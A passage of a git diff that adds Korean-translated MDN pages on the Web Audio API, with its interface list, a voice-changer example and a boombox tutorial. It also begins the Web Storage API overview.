프로그래밍에 전혀 익숙하지 않으시다면 자바스크립트 기초 튜토리얼을 먼저 읽고 이 문서를 다시 읽으시는 게 나을 수도 있습니다. 모질라의 자바스크립트 기초만큼 좋은 자료도 몇 없죠.

+ +

Web Audio API Interfaces

+ +

Web Audio API는 다양한 인터페이스와 연관 이벤트를 가지고 있으며, 이는 9가지의 기능적 범주로 나뉩니다.

+ +

일반 오디오 그래프 정의

+ +

Web Audio API 사용범위 내에서 오디오 그래프를 형성하는 일반적인 컨테이너와 정의입니다.

+ +
+
{{domxref("AudioContext")}}
+
AudioContext 인터페이스는 오디오 모듈이 서로 연결되어 구성된 오디오 프로세싱 그래프를 표현하며, 각각의 그래프는 {{domxref("AudioNode")}}로 표현됩니다. AudioContext는 자신이 가지고 있는 노드의 생성과 오디오 프로세싱 혹은 디코딩의 실행을 제어합니다. 어떤 작업이든 시작하기 전에 AudioContext를 생성해야 합니다. 모든 작업은 컨텍스트 내에서 이루어집니다.
+
{{domxref("AudioNode")}}
+
AudioNode 인터페이스는 오디오 소스({{HTMLElement("audio")}}나 {{HTMLElement("video")}}엘리먼트), 오디오 목적지, 중간 처리 모듈({{domxref("BiquadFilterNode")}}이나 {{domxref("GainNode")}})과 같은 오디오 처리 모듈을 나타냅니다.
+
{{domxref("AudioParam")}}
+
AudioParam 인터페이스는 {{domxref("AudioNode")}}중 하나와 같은 오디오 관련 파라미터를 나타냅니다. 이는 특정 값 또는 값 변경으로 세팅되거나, 특정 시간에 발생하고 특정 패턴을 따르도록 스케쥴링할 수 있습니다.
+
The {{event("ended")}} event
+
+

ended 이벤트는 미디어의 끝에 도달하여 재생이 정지되면 호출됩니다.

+
+
+ +

오디오 소스 정의하기

+ +

Web Audio API에서 사용하기 위한 오디오 소스를 정의하는 인터페이스입니다.

+ +
+
{{domxref("OscillatorNode")}}
+
OscillatorNode 인터페이스는 삼각파 또는 사인파와 같은 주기적 파형을 나타냅니다. 이것은 주어진 주파수의 파동을 생성하는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다.
+
{{domxref("AudioBuffer")}}
+
AudioBuffer 인터페이스는 {{ domxref("AudioContext.decodeAudioData()") }}메소드를 사용해 오디오 파일에서 생성되거나 {{ domxref("AudioContext.createBuffer()") }}를 사용해 로우 데이터로부터 생성된 메모리상에 적재되는 짧은 오디오 자원을 나타냅니다. 이 형식으로 디코딩된 오디오는 {{ domxref("AudioBufferSourceNode") }}에 삽입될 수 있습니다.
+
{{domxref("AudioBufferSourceNode")}}
+
AudioBufferSourceNode 인터페이스는 {{domxref("AudioBuffer")}}에 저장된 메모리상의 오디오 데이터로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.
+
{{domxref("MediaElementAudioSourceNode")}}
+
MediaElementAudioSourceNode 인터페이스는 {{ htmlelement("audio") }} 나 {{ htmlelement("video") }} HTML 엘리먼트로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.
+
{{domxref("MediaStreamAudioSourceNode")}}
+
MediaStreamAudioSourceNode 인터페이스는 WebRTC {{domxref("MediaStream")}}(웹캡, 마이크 혹은 원격 컴퓨터에서 전송된 스트림)으로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.
+
+ +

오디오 이펙트 필터 정의하기

+ +

오디오 소스에 적용할 이펙트를 정의하는 인터페이스입니다.

+ +
+
{{domxref("BiquadFilterNode")}}
+
BiquadFilterNode 인터페이스는 간단한 하위 필터를 나타냅니다. 이것은 여러 종류의 필터나 톤 제어 장치 혹은 그래픽 이퀄라이저를 나타낼 수 있는 {{domxref("AudioNode")}}입니다. BiquadFilterNode는 항상 단 하나의 입력과 출력만을 가집니다. 
+
{{domxref("ConvolverNode")}}
+
ConvolverNode 인터페이스는 주어진 {{domxref("AudioBuffer")}}에 선형 콘볼루션을 수행하는 {{domxref("AudioNode")}}이며, 리버브 이펙트를 얻기 위해 자주 사용됩니다. 
+
{{domxref("DelayNode")}}
+
DelayNode 인터페이스는 지연선을 나타냅니다. 지연선은 입력 데이터가 출력에 전달되기까지의 사이에 딜레이를 발생시키는 {{domxref("AudioNode")}} 오디오 처리 모듈입니다.
+
{{domxref("DynamicsCompressorNode")}}
+
DynamicsCompressorNode 인터페이스는 압축 이펙트를 제공합니다, 이는 신호의 가장 큰 부분의 볼륨을 낮추어 여러 사운드를 동시에 재생할 때 발생할 수 있는 클리핑 및 왜곡을 방지합니다.
+
{{domxref("GainNode")}}
+
GainNode 인터페이스는 음량의 변경을 나타냅니다. 이는 출력에 전달되기 전의 입력 데이터에 주어진 음량 조정을 적용하기 위한 {{domxref("AudioNode")}} 오디오 모듈입니다.
+
{{domxref("StereoPannerNode")}}
+
StereoPannerNode 인터페이스는 오디오 스트림을 좌우로 편향시키는데 사용될 수 있는 간단한 스테레오 패너 노드를 나타냅니다.
+
{{domxref("WaveShaperNode")}}
+
WaveShaperNode 인터페이스는 비선형 왜곡을 나타냅니다. 이는 곡선을 사용하여 신호의 파형 형성에 왜곡을 적용하는 {{domxref("AudioNode")}}입니다. 분명한 왜곡 이펙트 외에도 신호에 따뜻한 느낌을 더하는데 자주 사용됩니다.
+
{{domxref("PeriodicWave")}}
+
{{domxref("OscillatorNode")}}의 출력을 형성하는데 사용될 수 있는 주기적 파형을 설명합니다.
+
+ +

오디오 목적지 정의하기

+ +

처리된 오디오를 어디에 출력할지 정의하는 인터페이스입니다.

+ +
+
{{domxref("AudioDestinationNode")}}
+
AudioDestinationNode 인터페이스는 주어진 컨텍스트 내의 오디오 소스의 최종 목적지를 나타냅니다. 주로 기기의 스피커로 출력할 때 사용됩니다.
+
{{domxref("MediaStreamAudioDestinationNode")}}
+
MediaStreamAudioDestinationNode 인터페이스는 단일 AudioMediaStreamTrack 을 가진 WebRTC {{domxref("MediaStream")}}로 구성된 오디오 목적지를 나타내며, 이는 {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}에서 얻은 {{domxref("MediaStream")}}과 비슷한 방식으로 사용할 수 있습니다. 이것은 오디오 목적지 역할을 하는 {{domxref("AudioNode")}}입니다.
+
+ +

데이터 분석 및 시각화

+ +

오디오에서 재생시간이나 주파수 등의 데이터를 추출하기 위한 인터페이스입니다.

+ +
+
{{domxref("AnalyserNode")}}
+
AnalyserNode 인터페이스는 데이터를 분석하고 시각화하기 위한 실시간 주파수와 시간영역 분석 정보를 제공하는 노드를 나타냅니다.
+
+ +

오디오 채널을 분리하고 병합하기

+ +

오디오 채널들을 분리하거나 병합하기 위한 인터페이스입니다.

+ +
+
{{domxref("ChannelSplitterNode")}}
+
ChannelSplitterNode 인터페이스는 오디오 소스의 여러 채널을 모노 출력 셋으로 분리합니다.
+
{{domxref("ChannelMergerNode")}}
+
ChannelMergerNode 인터페이스는 여러 모노 입력을 하나의 출력으로 재결합합니다. 각 입력은 출력의 채널을 채우는데 사용될 것입니다.
+
+ +

오디오 공간화

+ +

오디오 소스에 오디오 공간화 패닝 이펙트를 추가하는 인터페이스입니다.

+ +
+
{{domxref("AudioListener")}}
+
AudioListener 인터페이스는 오디오 공간화에 사용되는 오디오 장면을 청취하는 고유한 시청자의 위치와 방향을 나타냅니다.
+
{{domxref("PannerNode")}}
+
PannerNode 인터페이스는 공간 내의 신호 양식을 나타냅니다. 이것은 자신의 오른손 직교 좌표 내의 포지션과, 속도 벡터를 이용한 움직임과, 방향성 원뿔을 이용한 방향을 서술하는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다.
+
+ +

자바스크립트에서 오디오 처리하기

+ +

자바스크립트에서 오디오 데이터를 처리하기 위한 코드를 작성할 수 있습니다. 이렇게 하려면 아래에 나열된 인터페이스와 이벤트를 사용하세요.

+ +
+

이것은 Web Audio API 2014년 8월 29일의 스펙입니다. 이 기능은 지원이 중단되고 {{ anch("Audio_Workers") }}로 대체될 예정입니다.

+
+ +
+
{{domxref("ScriptProcessorNode")}}
+
ScriptProcessorNode 인터페이스는 자바스크립트를 이용한 오디오 생성, 처리, 분석 기능을 제공합니다. 이것은 현재 입력 버퍼와 출력 버퍼, 총 두 개의 버퍼에 연결되는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다. {{domxref("AudioProcessingEvent")}}인터페이스를 구현하는 이벤트는 입력 버퍼에 새로운 데이터가 들어올 때마다 객체로 전달되고, 출력 버퍼가 데이터로 채워지면 이벤트 핸들러가 종료됩니다.
+
{{event("audioprocess")}} (event)
+
audioprocess 이벤트는 Web Audio API {{domxref("ScriptProcessorNode")}}의 입력 버퍼가 처리될 준비가 되었을 때 발생합니다.
+
{{domxref("AudioProcessingEvent")}}
+
Web Audio API AudioProcessingEvent 는 {{domxref("ScriptProcessorNode")}} 입력 버퍼가 처리될 준비가 되었을 때 발생하는 이벤트를 나타냅니다.
+
+ +

오프라인/백그라운드 오디오 처리하기

+ +

다음을 이용해 백그라운드(장치의 스피커가 아닌 {{domxref("AudioBuffer")}}으로 렌더링)에서 오디오 그래프를 신속하게 처리/렌더링 할수 있습니다.

+ +
+
{{domxref("OfflineAudioContext")}}
+
OfflineAudioContext 인터페이스는 {{domxref("AudioNode")}}로 연결되어 구성된 오디오 프로세싱 그래프를 나타내는 {{domxref("AudioContext")}} 인터페이스입니다. 표준 AudioContext 와 대조적으로, OfflineAudioContext 는 실제로 오디오를 렌더링하지 않고 가능한 빨리 버퍼 내에서 생성합니다. 
+
{{event("complete")}} (event)
+
complete 이벤트는 {{domxref("OfflineAudioContext")}}의 렌더링이 종료될때 발생합니다.
+
{{domxref("OfflineAudioCompletionEvent")}}
+
OfflineAudioCompletionEvent 이벤트는 {{domxref("OfflineAudioContext")}} 의 처리가 종료될 때 발생하는 이벤트를 나타냅니다. {{event("complete")}} 이벤트는 이 이벤트를 구현합니다.
+
+ +

오디오 워커

+ +

오디오 워커는 web worker 컨텍스트 내에서 스크립팅된 오디오 처리를 관리하기 위한 기능을 제공하며, 두어가지 인터페이스로 정의되어 있습니다(2014년 8월 29일 새로운 기능이 추가되었습니다). 이는 아직 모든 브라우저에서 구현되지 않았습니다. 구현된 브라우저에서는 Audio processing in JavaScript에서 설명된 {{domxref("ScriptProcessorNode")}}를 포함한 다른 기능을 대체합니다.

+ +
+
{{domxref("AudioWorkerNode")}}
+
AudioWorkerNode 인터페이스는 워커 쓰레드와 상호작용하여 오디오를 직접 생성, 처리, 분석하는 {{domxref("AudioNode")}}를 나타냅니다. 
+
{{domxref("AudioWorkerGlobalScope")}}
+
AudioWorkerGlobalScope 인터페이스는 DedicatedWorkerGlobalScope 에서 파생된 오디오 처리 스크립트가 실행되는 워커 컨텍스트를 나타내는 객체입니다. 이것은 워커 쓰레드 내에서 자바스크립트를 이용하여 직접 오디오 데이터를 생성, 처리, 분석할 수 있도록 설계되었습니다.
+
{{domxref("AudioProcessEvent")}}
+
이것은 처리를 수행하기 위해 {{domxref("AudioWorkerGlobalScope")}} 오브젝트로 전달되는 Event 오브젝트입니다.
+
+ +

Obsolete interfaces

+ +

The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.

+ +
+
{{domxref("JavaScriptNode")}}
+
Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.
+
{{domxref("WaveTableNode")}}
+
Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.
+
+ +

Example

+ +

This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the Voice-change-o-matic demo (also check out the full source code at Github) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!

+ +

The Web Audio API lines are highlighted; if you want to find out more about what the different methods, etc. do, have a search around the reference pages.

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + + + diff --git a/files/ko/web/api/web_audio_api/using_web_audio_api/index.html b/files/ko/web/api/web_audio_api/using_web_audio_api/index.html new file mode 100644 index 0000000000..3b64b5809c --- /dev/null +++ b/files/ko/web/api/web_audio_api/using_web_audio_api/index.html @@ -0,0 +1,238 @@ +--- +title: Using the Web Audio API +slug: Web/API/Web_Audio_API/Using_Web_Audio_API +translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API +--- +
{{DefaultAPISidebar("Web Audio API")}}
+ +

Let's take a look at getting started with the Web Audio API. We'll briefly look at some concepts, then study a simple boombox example that allows us to load an audio track, play and pause it, and change its volume and stereo panning.

+ +

The Web Audio API does not replace the {{HTMLElement("audio")}} media element, but rather complements it, just like {{HTMLElement("canvas")}} coexists alongside the {{HTMLElement("img")}} element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the <audio> media element provides a better, quicker solution than the Web Audio API. If you want to carry out more complex audio processing, as well as playback, the Web Audio API provides much more power and control.

+ +

A powerful feature of the Web Audio API is that it does not have a strict "sound call limitation". For example, there is no ceiling of 32 or 64 sound calls at one time. Some processors may be capable of playing more than 1,000 simultaneous sounds without stuttering.

+ +

Example code

+ +

Our boombox looks like this:

+ +

A boombox with play, pan, and volume controls

+ +

플레이 버튼과 볼륨조절 버튼 그리고 스테레오 패닝(Stereo panning)을 위한 슬라이더가 있는 레트로 카세트덱이 있습니다. 카세트덱을 이것보다 더 복잡하게 만들 수 있겠지만 이 단계에서는 이정도로 학습을 하는데에는 충분합니다.

+ +

Check out the final demo here on Codepen, or see the source code on GitHub.

+ +

Browser support

+ +

현대의 브라우저들은 Web Audio API에 대한 대부분의 기능들을 제공합니다. API의 여러 특징(features)이 있지만 더 정확한 정보는 각 페이지의 아래에 있는 브라우저 호환 테이블(the browser compatibility tables)을 확인하세요.

+ +

Audio graphs

+ +

Everything within the Web Audio API is based around the concept of an audio graph, which is made up of nodes.

+ +

The Web Audio API handles audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. You have input nodes, which are the source of the sounds you are manipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds.

+ +

Several audio sources with different channel layouts are supported, even within a single context. Because of this modular design, you can create complex audio functions with dynamic effects.

+ +

Audio context

+ +

To be able to do anything with the Web Audio API, we need to create an instance of the audio context. This then gives us access to all the features and functionality of the API.

+ +
// for legacy browsers
+const AudioContext = window.AudioContext || window.webkitAudioContext;
+
+const audioContext = new AudioContext();
+
+ +

So what's going on when we do this? A {{domxref("BaseAudioContext")}} is created for us automatically and extended to an online audio context. We'll want this because we're looking to play live sound.

+ +
+

Note: If you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an {{domxref("OfflineAudioContext")}}.

+
+ +

Loading sound

+ +

Now, the audio context we've created needs some sound to play through it. There are a few ways to do this with the API. Let's begin with a simple method — as we have a boombox, we most likely want to play a full song track. Also, for accessibility, it's nice to expose that track in the DOM. We'll expose the song on the page using an {{htmlelement("audio")}} element.

+ +
<audio src="myCoolTrack.mp3" type="audio/mpeg"></audio>
+
+ +
+

Note: If the sound file you're loading is held on a different domain you will need to use the crossorigin attribute; see Cross Origin Resource Sharing (CORS)  for more information.

+
+ +

To use all the nice things we get with the Web Audio API, we need to grab the source from this element and pipe it into the context we have created. Lucky for us there's a method that allows us to do just that — {{domxref("AudioContext.createMediaElementSource")}}:

+ +
// get the audio element
+const audioElement = document.querySelector('audio');
+
+// pass it into the audio context
+const track = audioContext.createMediaElementSource(audioElement);
+
+ +
+

Note: The <audio> element above is represented in the DOM by an object of type {{domxref("HTMLMediaElement")}}, which comes with its own set of functionality. All of this has stayed intact; we are merely allowing the sound to be available to the Web Audio API.

+
+ +

Controlling sound

+ +

When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.

+ +

Controlling sound programmatically from JavaScript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). Autoplay policies typically require either explicit permission or a user engagement with the page before scripts can trigger audio to play.

+ +

These special requirements are in place essentially because unexpected sounds can be annoying and intrusive, and can cause accessibility problems. You can learn more about this in our article Autoplay guide for media and Web Audio APIs.

+ +

Since our scripts are playing audio in response to a user input event (a click on a play button, for instance), we're in good shape and should have no problems from autoplay blocking. So, let's start by taking a look at our play and pause functionality. We have a play button that changes to a pause button when the track is playing:

+ +
<button data-playing="false" role="switch" aria-checked="false">
+    <span>Play/Pause</span>
+</button>
+
+ +

Before we can play our track we need to connect our audio graph from the audio source/input node to the destination.

+ +

We've already created an input node by passing our audio element into the API. For the most part, you don't need to create an output node, you can just connect your other nodes to {{domxref("BaseAudioContext.destination")}}, which handles the situation for you:

+ +
track.connect(audioContext.destination);
+
+ +

A good way to visualise these nodes is by drawing an audio graph so you can visualize it. This is what our current audio graph looks like:

+ +

an audio graph with an audio element source connected to the default destination

+ +

Now we can add the play and pause functionality.

+ +
// select our play button
+const playButton = document.querySelector('button');
+
+playButton.addEventListener('click', function() {
+
+    // check if context is in suspended state (autoplay policy)
+    if (audioContext.state === 'suspended') {
+        audioContext.resume();
+    }
+
+    // play or pause track depending on state
+    if (this.dataset.playing === 'false') {
+        audioElement.play();
+        this.dataset.playing = 'true';
+    } else if (this.dataset.playing === 'true') {
+        audioElement.pause();
+        this.dataset.playing = 'false';
+    }
+
+}, false);
+
+ +

We also need to take into account what to do when the track finishes playing. Our HTMLMediaElement fires an ended event once it's finished playing, so we can listen for that and run code accordingly:

+ +
audioElement.addEventListener('ended', () => {
+    playButton.dataset.playing = 'false';
+}, false);
+
+ +

Modifying sound

+ +

Let's delve into some basic modification nodes, to change the sound that we have. This is where the Web Audio API really starts to come in handy. First of all, let's change the volume. This can be done using a {{domxref("GainNode")}}, which represents how big our sound wave is.

+ +

There are two ways you can create nodes with the Web Audio API. You can use the factory method on the context itself (e.g. audioContext.createGain()) or via a constructor of the node (e.g. new GainNode()). We'll use the factory method in our code:

+ +
const gainNode = audioContext.createGain();
+
+ +

Now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination:

+ +
track.connect(gainNode).connect(audioContext.destination);
+
+ +

This will make our audio graph look like this:

+ +

an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination

+ +

The default value for gain is 1; this keeps the current volume the same. Gain can be set to a minimum of about -3.4 and a max of about 3.4. Here we'll allow the boombox to move the gain up to 2 (double the original volume) and down to 0 (this will effectively mute our sound).

+ +

Let's give the user control to do this — we'll use a range input:

+ +
<input type="range" id="volume" min="0" max="2" value="1" step="0.01">
+
+ +
+

Note: Range inputs are a really handy input type for updating values on audio nodes. You can specify a range's values and use them directly with the audio node's parameters.

+
+ +

So let's grab this input's value and update the gain value when the input node has its value changed by the user:

+ +
const volumeControl = document.querySelector('#volume');
+
+volumeControl.addEventListener('input', function() {
+    gainNode.gain.value = this.value;
+}, false);
+
+ +
+

Note: The values of node objects (e.g. GainNode.gain) are not simple values; they are actually objects of type {{domxref("AudioParam")}} — these called parameters. This is why we have to set GainNode.gain's value property, rather than just setting the value on gain directly. This enables them to be much more flexible, allowing for passing the parameter a specific set of values to change between over a set period of time, for example.

+
+ +

Great, now the user can update the track's volume! The gain node is the perfect node to use if you want to add mute functionality.

+ +

Adding stereo panning to our app

+ +

Let's add another modification node to practise what we've just learnt.

+ +

There's a {{domxref("StereoPannerNode")}} node, which changes the balance of the sound between the left and right speakers, if the user has stereo capabilities.

+ +

Note: The StereoPannerNode is for simple cases in which you just want stereo panning from left to right. There is also a {{domxref("PannerNode")}}, which allows for a great deal of control over 3D space, or sound spatialisation, for creating more complex effects. This is used in games and 3D apps to create birds flying overhead, or sound coming from behind the user for instance.

+ +

To visualise it, we will be making our audio graph look like this:

+ +

An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node.

+ +

Let's use the constructor method of creating a node this time. When we do it this way, we have to pass in the context and any options that that particular node may take:

+ +
const pannerOptions = { pan: 0 };
+const panner = new StereoPannerNode(audioContext, pannerOptions);
+
+ +
+

Note: The constructor method of creating nodes is not supported by all browsers at this time. The older factory methods are supported more widely.

+
+ +

Here our values range from -1 (far left) and 1 (far right). Again let's use a range type input to vary this parameter:

+ +
<input type="range" id="panner" min="-1" max="1" value="0" step="0.01">
+
+ +

We use the values from that input to adjust our panner values in the same way as we did before:

+ +
const pannerControl = document.querySelector('#panner');
+
+pannerControl.addEventListener('input', function() {
+    panner.pan.value = this.value;
+}, false);
+
+ +

Let's adjust our audio graph again, to connect all the nodes together:

+ +
track.connect(gainNode).connect(panner).connect(audioContext.destination);
+
+ +

The only thing left to do is give the app a try: Check out the final demo here on Codepen.

+ +

Summary

+ +

Great! We have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph.

+ +

This makes up quite a few basics that you would need to start to add audio to your website or web app. There's a lot more functionality to the Web Audio API, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality.

+ +

More examples

+ +

There are other examples available to learn more about the Web Audio API.

+ +

The Voice-change-O-matic is a fun voice manipulator and sound visualization web app that allows you to choose different effects and visualizations. The application is fairly rudimentary, but it demonstrates the simultaneous use of multiple Web Audio API features. (run the Voice-change-O-matic live).

+ +

A UI with a sound wave being shown, and options for choosing voice effects and visualizations.

+ +

Another application developed specifically to demonstrate the Web Audio API is the Violent Theremin, a simple web application that allows you to change pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (see Violent Theremin source code).

+ +

A page full of rainbow colours, with two buttons labeled Clear screen and mute.

+ +

Also see our webaudio-examples repo for more examples.

diff --git a/files/ko/web/api/web_storage_api/index.html b/files/ko/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..68af357a42 --- /dev/null +++ b/files/ko/web/api/web_storage_api/index.html @@ -0,0 +1,117 @@ +--- +title: Web Storage API +slug: Web/API/Web_Storage_API +tags: + - API + - Reference + - Storage + - Web Storage + - Web Storage API + - localStorage + - sessionStorage + - 로컬스토리지 + - 세션스토리지 + - 웹 스토리지 +translation_of: Web/API/Web_Storage_API +--- +
{{DefaultAPISidebar("Web Storage API")}}
+ +

Web Storage API는 브라우저에서 키/값 쌍을 {{glossary("cookie", "쿠키")}}보다 훨씬 직관적으로 저장할 수 있는 방법을 제공합니다.

+ +

Web Storage 개념과 사용법

+ +

Web Storage의 두 가지 방식은 다음과 같습니다.

+ + + +

위의 방식은 {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성을 통해 사용할 수 있습니다. (보다 정확히 말하자면, 지원하는 브라우저에서는 Window 객체는 localStoragesessionStorage 속성을 포함한 WindowLocalStorageWindowSessionStorage 객체를 구현합니다) 두 속성 중 하나에 접근하면 {{domxref("Storage")}} 객체의 인스턴스를 생성하게 되고, 그걸 사용해 데이터 항목을 추가, 회수, 제거할 수 있습니다. sessionStoragelocalStorageStorage 객체는 각각의 출처별로 다른 것을 사용하며 서로 독립적으로 기능합니다.

+ +
+

참고: Firefox 45 이후로는, 과도한 Web Storage 사용으로 인한 메모리 문제를 피하기 위해 브라우저가 충돌하거나 재시작할 때의 출처 당 저장 공간이 10MB로 제한됩니다.

+
+ +
+

참고: 사용자가 서드 파티 쿠키를 비활성화한 경우 서드 파티 IFrame에서 Web Storage에 접근할 수 없습니다. Firefox는 43부터 이 동작을 사용합니다.

+
+ +

Web Storage 인터페이스

+ +
+
{{domxref("Storage")}}
+
특정 도메인과 저장 유형(세션 또는 로컬)에 대해 데이터를 저장, 회수, 삭제할 수 있습니다.
+
{{domxref("Window")}}
+
Web Storage API는 {{domxref("Window")}} 객체를 확장합니다. {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성을 추가해 현재 도메인의 세션과 로컬 {{domxref("Storage")}} 객체의 접근을 가능케 하고, 새로운 항목을 추가하는 등 저장 공간이 변경될 때 발생하는 {{domxref("Window.onstorage")}} 이벤트 처리기도 추가합니다.
+
{{domxref("StorageEvent")}}
+
storage 이벤트는 저장 공간이 변경될 때 Window 객체에서 발생합니다.
+
+ +

예제

+ +

일반적인 Web Storage 사용법을 설명하기 위한 데모를 만들었습니다. 창의적이게도 Web Storage Demo라는 이름으로, 랜딩 페이지에서 색, 글꼴, 이미지를 바꿀 수 있습니다. 선택지를 바꾸면 페이지가 실시간으로 변함과 동시에 localStorage에도 현재 상태를 저장하게 되므로, 페이지를 떠났다가 다시 방문해도 선택지가 그대로 보존됩니다.

+ +

추가로 이벤트 출력 페이지도 제공 중입니다. 이 페이지를 다른 탭에 열고 랜딩 페이지에서 선택지를 바꾸면 {{domxref("StorageEvent")}}를 통해 업데이트된 저장 정보를 출력하는 것을 볼 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
